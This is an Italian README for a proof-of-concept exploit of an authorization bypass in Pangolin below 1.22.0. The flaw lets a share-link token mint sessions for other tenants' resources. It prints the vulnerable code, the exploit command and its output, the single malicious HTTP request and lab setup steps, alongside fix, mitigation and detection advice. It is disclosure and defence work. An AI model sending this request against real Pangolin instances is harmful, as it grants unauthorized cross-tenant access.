PoC per CVE-2026-72001 — bypass di autenticazione per risorse cross-organization in Pangolin < 1.22.0 tramite l'endpoint share-link access-token (CWE-639, CVSS 8.1).
Proof-of-concept per CVE-2026-72001, una vulnerabilità di broken-object-level-authorization in
Pangolin (< 1.22.0) che consente al possessore di un
share link di una risorsa di generare una sessione valida per qualsiasi altra risorsa
dell'istanza, incluse le risorse appartenenti a un'organizzazione diversa, aggirando ogni
metodo di autenticazione configurato (SSO, password della risorsa, PIN, allowlist email, header auth).
| CVE | CVE-2026-72001 |
| Prodotto | fosrl/pangolin |
| Affetto | < 1.22.0 |
| Corretto | 1.22.0 |
| Classe | Authorization Bypass Through User-Controlled Key (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Auth | L'attaccante necessita solo di un token share-link valido per qualsiasi risorsa |
| Verdetto | CONFERMATO VULNERABILE (end-to-end, enforcement badger valid:true) |
L'endpoint di autenticazione share-link POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) ha due rami. Quando la richiesta
contiene un accessTokenId, valida il token ma dimentica di vincolare quel controllo alla
risorsa nell'URL:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken applica il binding della risorsa solo se riceve resourceId:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
Poiché l'handler non inoltra mai resourceId, il controllo viene saltato: il token viene
validato rispetto alla propria risorsa, mentre la sessione viene generata per la risorsa
indicata nell'URL. Viene quindi creata una sessione (badger request token) per la risorsa
vittima:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
La route risiede sul router non autenticato (unauthenticated.use("/auth", authRouter))
e non ha rate limiting (a differenza delle route sorelle di autenticazione password/pincode/whitelist).
Il middleware CSRF controlla solo la presenza di un header costante statico (X-CSRF-Token: x-csrf-protection).
Fix (1.22.0): l'handler inoltra resourceId a verifyResourceAccessToken, così il
controllo di mismatch scatta e le richieste cross-resource restituiscono 401 "Resource ID does not match".
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
La singola richiesta vulnerabile è:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access scambia inoltre il request token restituito presso l'endpoint di
enforcement badger (/badger/exchange-session → /badger/verify-session) — lo stesso percorso
consultato da Traefik — per dimostrare l'accesso reale, non solo una stringa restituita. In un deployment live
l'attaccante presenta semplicemente il request token alla risorsa e Traefik/badger lo scambia automaticamente.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
Vedi lab/setup.sh, ANALYSIS.md e
evidence/ per la procedura completa e il confine vulnerabile-vs-patchato.
Su qualsiasi istanza Pangolin multi-tenant / multi-org (self-hosted con diverse org, MSP, o un deployment ospitato), un attore che riesce a ottenere un singolo share link — uno ricevuto legittimamente, uno trapelato, o uno auto-emesso su qualsiasi risorsa che controlla — legge e agisce come qualsiasi risorsa protetta di un altro tenant. Riservatezza e integrità di ogni risorsa protetta sull'istanza sono compromesse (CVSS C:H/I:H).
Aggiornare a Pangolin ≥ 1.22.0. Il fix vincola il controllo dell'access-token all'id della risorsa nell'URL. Nessun workaround di configurazione mitiga completamente < 1.22.0; limitare l'emissione di share link delle risorse e ruotare gli access token esistenti dopo l'aggiornamento.
Cercare POST /api/v1/auth/resource/<id>/access-token dove l'accessTokenId presentato
appartiene a una risorsa il cui id ≠ <id> (uso cross-resource del token), e per richieste di
autenticazione access-token che arrivano ad alto volume (la route non è throttled). Le voci di
logAccessAudit mostreranno un'azione accessToken il cui org del token differisce dall'org della risorsa.
Scoperto / analizzato e PoC da BiiTts (Caio Fabrício). Vulnerabilità segnalata da VulnCheck; advisory: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.